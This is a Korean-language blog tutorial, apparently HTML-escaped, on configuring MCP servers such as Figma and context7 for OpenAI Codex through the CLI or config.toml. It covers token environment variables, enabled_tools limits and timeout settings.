&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;예시 B &amp;mdash; Figma HTTP (디자인 조회, OAuth 토큰)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Figma 컴포넌트 목록&amp;middot;레이어 정보를 Codex가 직접 읽어오게 하려면 Figma MCP를 쓴다. Figma는 공식 HTTP 엔드포인트를 제공하므로 로컬에 서버를 설치하지 않아도 된다. STDIO가 로컬 프로세스를 띄우는 방식이라면, HTTP는 SaaS가 운영하는 서버에 직접 붙는 방식이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;아래 엔드포인트 URL과 인증 방식은 2026년 5월 공식 문서 기준이다. 적용 전 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.figma.com/developers/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;figma.com/developers/mcp&lt;/a&gt;에서 최신 가이드를 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;&amp;nbsp;&lt;/h5&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;자연어 설치 (Codex 세션 안에서)&lt;/h5&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;Figma MCP를 설치해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 16px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Codex가 아래 TOML 블록을 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;에 자동으로 추가한다.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 16px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;이후 안내에 따라 token등록은 별도로 진행 하자.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 16px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;수동 설치 (TOML 직접 편집)&lt;/h5&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# Goal: Codex가 Figma 컴포넌트&amp;middot;레이어 정보를 직접 조회하게 한다
# Setup: Figma Personal Access Token &amp;rarr; FIGMA_OAUTH_TOKEN 환경변수 설정
# Constraints: 읽기 전용. 파일 수정은 Figma 앱에서 직접 한다.
# Completion: &quot;현재 파일의 컴포넌트 목록 보여줘&quot; 요청이 성공하면 완료

# ~/.codex/config.toml 에 추가
[mcp_servers.figma]
url = &quot;https://mcp.figma.com/mcp&quot;
bearer_token_env_var = &quot;FIGMA_OAUTH_TOKEN&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;url&lt;/b&gt;: Figma가 공식 제공하는 HTTP MCP 엔드포인트. SaaS가 직접 운영하므로 로컬에 서버를 설치&amp;middot;실행할 필요가 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;bearer_token_env_var&lt;/b&gt;: 토큰 값이 아닌 환경변수 이름만 기록한다. config.toml이 저장소에 올라가도 실제 토큰은 노출되지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Constraints에 읽기 전용 명시&lt;/b&gt;: Figma MCP는 쓰기 도구도 포함할 수 있다. 처음에는 읽기만 허용하고, 필요가 확인된 뒤 enabled_tools를 넓힌다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLI 보조 방법&lt;/b&gt;: &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex mcp add figma --url https://mcp.figma.com/mcp&lt;/code&gt;으로 URL만 먼저 등록한 뒤, TOML에서 bearer_token_env_var를 수동 추가하는 방법도 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;예시 C &amp;mdash; HTTP 범용 패턴 (모든 HTTP MCP 서버에 적용)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linear, Stripe, Notion 등 &quot;MCP HTTP 지원&quot;을 발표한 SaaS 서비스는 모두 이 패턴으로 등록한다. 서비스마다 엔드포인트 URL과 인증 방식이 다르므로 각 서비스의 공식 MCP 문서를 먼저 확인하는 것이 첫 번째 단계다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;아래 URL과 토큰 형식은 템플릿 예시다. 실제 서비스 공식 MCP 문서에서 정확한 엔드포인트를 확인한 뒤 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;&amp;nbsp;&lt;/h5&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;자연어 설치 (Codex 세션 안에서)&lt;/h5&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;Linear MCP를 설치해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 16px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Codex가 해당 서비스의 MCP 문서를 참조해 TOML 블록을 자동으로 작성한다.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 16px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h5 style=&quot;font-size: 15px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot;&gt;수동 설치 (TOML 범용 템플릿)&lt;/h5&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# Goal: &amp;lt;서비스&amp;gt;가 제공하는 데이터를 Codex가 직접 조회하게 한다
# Setup: &amp;lt;서비스&amp;gt; API 키 &amp;rarr; &amp;lt;TOKEN_ENV_VAR&amp;gt; 환경변수 설정
# Constraints: 필요한 도구만 enabled_tools에 명시한다
# Completion: &quot;&amp;lt;서비스&amp;gt; 데이터 조회&quot; 요청이 성공하면 완료

# ~/.codex/config.toml 에 추가
[mcp_servers.&amp;lt;service-name&amp;gt;]
url = &quot;https://&amp;lt;service-mcp-endpoint&amp;gt;/mcp&quot;
bearer_token_env_var = &quot;&amp;lt;SERVICE_API_TOKEN_ENV&amp;gt;&quot;
enabled_tools = [&quot;&amp;lt;read-tool-1&amp;gt;&quot;, &quot;&amp;lt;read-tool-2&amp;gt;&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;필드 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;url&lt;/b&gt;: 서비스가 공식 발표한 HTTP MCP 엔드포인트. 해당 서비스가 공개하지 않았다면 STDIO 방식을 사용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;bearer_token_env_var&lt;/b&gt;: HTTP MCP의 표준 Bearer 인증 방식. OAuth 방식인 서비스는 서비스 문서를 별도로 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;enabled_tools&lt;/b&gt;: 처음엔 읽기 도구만 열어 동작을 확인한 뒤 범위를 넓힌다. 도구 이름은 서비스 MCP 문서에서 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;적용 사례&lt;/b&gt;: 예시 B의 Figma가 이 패턴 그대로다. Linear, Stripe 등이 HTTP MCP를 공식 발표했거나 준비 중이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;세 예시 공통 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;Goal/Constraints/Completion을 주석으로 먼저 적었다 &amp;mdash; 설정 의도가 파일에 남으면 다음 사람이 왜 이렇게 설정했는지 이해한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;인증 정보는 환경변수 이름만 썼다 &amp;mdash; 실제 값은 파일에 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;enabled_tools로 먼저 좁혔다 &amp;mdash; 서버가 제공하는 전부를 여는 게 아니라 필요한 것부터 시작한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;STDIO는 로컬 시작, HTTP는 외부 인증 &amp;mdash; 두 유형의 구분이 설정 패턴에 드러난다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. CLI &amp;harr; TOML 매핑 빠른 참조&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;920&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rdUlj/dJMb997p7AQ/vn4JdRe9kS3nwkKVNPct6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rdUlj/dJMb997p7AQ/vn4JdRe9kS3nwkKVNPct6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rdUlj/dJMb997p7AQ/vn4JdRe9kS3nwkKVNPct6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrdUlj%2FdJMb997p7AQ%2Fvn4JdRe9kS3nwkKVNPct6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;920&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;CLI로 등록한 서버는 자동으로 TOML에 기록된다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;두 방식은 같은 결과다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;팀 저장소에 커밋할 때는 TOML을 직접 관리하고, 빠른 테스트는 CLI를 쓴다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;( 사실 Codex에게 context7 MCP 설치 해줘 라고 하면 한번에 끝날 것 이다. 이를 이론적으로 살펴보고 가는 시간이라고 생각하고 빠르게 넘어가도 무방하다. )&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;CLI 명령&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;TOML 설정 (동일 결과)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;STDIO (로컬, 인증 없음)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.9em;&quot;&gt;codex mcp add context7 -- npx -y @upstash/context7-mcp&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.9em;&quot;&gt;[mcp_servers.context7]&lt;br /&gt;command = &quot;npx&quot;&lt;br /&gt;args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;HTTP + 토큰 (외부 SaaS)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;i&gt;HTTP 서버는 TOML 직접 설정 권장&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.9em;&quot;&gt;[mcp_servers.figma]&lt;br /&gt;url = &quot;https://mcp.figma.com/mcp&quot;&lt;br /&gt;bearer_token_env_var = &quot;FIGMA_OAUTH_TOKEN&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;프로젝트 공유 (팀)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;i&gt;.codex/config.toml을 저장소에 커밋&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.9em;&quot;&gt;# .codex/config.toml (저장소 루트)&lt;br /&gt;[mcp_servers.context7]&lt;br /&gt;command = &quot;npx&quot;&lt;br /&gt;args = [&quot;-y&quot;, &quot;@upstash/context7-mcp@1.2.0&quot;]&lt;br /&gt;startup_timeout_sec = 15&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;토큰&amp;middot;비밀 값은 절대 TOML에 직접 쓰지 않는다. &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;bearer_token_env_var&lt;/code&gt;&amp;middot;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;env_vars&lt;/code&gt;로 환경변수 이름만 기록한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 권장 MCP 서버 후보 3종&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sZWUN/dJMcajvpOQd/GvQJABgA5ub0jG0BESm2B1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sZWUN/dJMcajvpOQd/GvQJABgA5ub0jG0BESm2B1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sZWUN/dJMcajvpOQd/GvQJABgA5ub0jG0BESm2B1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsZWUN%2FdJMcajvpOQd%2FGvQJABgA5ub0jG0BESm2B1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;1040&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 문서&lt;/a&gt;에서 명령 예시까지 확인되는 서버는 context7이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub&amp;middot;Playwright는 각 서버 공식 문서와 함께 확인 후 적용한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 18px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;서버 후보&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;공식 문서에서 확인되는 용도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; font-weight: bold;&quot;&gt;&lt;span style=&quot;background-color: #e8f4f8; color: #1a3a52; text-align: left;&quot;&gt;공식 docs&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;GitHub&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;저장소 관리(repository management)&lt;br /&gt;&amp;nbsp;- 이슈&amp;middot;PR 관리 (도구명은 README 재확인)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/modelcontextprotocol/servers&quot;&gt;modelcontextprotocol/servers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;context7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;문서 확인(documentation)&lt;br /&gt;&amp;nbsp;- 라이브러리 공식 문서 실시간 참조&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot;&gt;Codex MCP 공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;Playwright&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;브라우저 제어(browser control)&lt;br /&gt;&amp;nbsp;- 브라우저 자동화&amp;middot;UI 검증&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; vertical-align: top;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/microsoft/playwright-mcp&quot;&gt;microsoft/playwright-mcp&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;세 서버 모두 초보자가 처음 시도해볼 수 있는 공식 예시가 있다. context7은 읽기 전용이라 가장 안전하게 시작할 수 있고, GitHub&amp;middot;Playwright는 토큰 및 실행 환경 확인 후 추가한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; border-left: 4px solid #27ae60; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;초보자는 MCP까지만 읽어도 충분하다.&lt;/b&gt; Skill&amp;middot;Plugin&amp;middot;CLI는 팀 합류자가 생기거나 반복 작업이 쌓일 때 다시 봐도 늦지 않다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 도구 권한과 타임아웃 제어&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버를 붙이면 Codex가 사용할 수 있는 도구가 늘어난다. 그래서 등록보다 더 중요한 것이 권한 제어다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlAaRe/dJMcaaecVEv/KKpTKuvgekmGoUc9tcKKJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlAaRe/dJMcaaecVEv/KKpTKuvgekmGoUc9tcKKJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlAaRe/dJMcaaecVEv/KKpTKuvgekmGoUc9tcKKJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdlAaRe%2FdJMcaaecVEv%2FKKpTKuvgekmGoUc9tcKKJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1076&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 문서&lt;/a&gt;는 공통 옵션으로 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;startup_timeout_sec&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;tool_timeout_sec&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;required&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled_tools&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;disabled_tools&lt;/code&gt;를 제시한다. 처음 보는 이름이 많지만, 결국 서버를 켤지, 기다릴 시간을 얼마로 둘지, 어떤 도구만 열지를 정하는 값들이다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;[mcp_servers.context7]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]
startup_timeout_sec = 10
tool_timeout_sec = 60
enabled_tools = [&quot;&amp;lt;tool-name-from-server&amp;gt;&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;startup_timeout_sec&lt;/code&gt;의 기본값은 10초, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;tool_timeout_sec&lt;/code&gt;의 기본값은 60초로 문서에 제시되어 있다. 느린 서버를 붙일 때는 타임아웃을 늘릴 수 있지만, 너무 크게 잡으면 Codex 작업이 멈춘 것처럼 보일 수 있다.&lt;/p&gt;
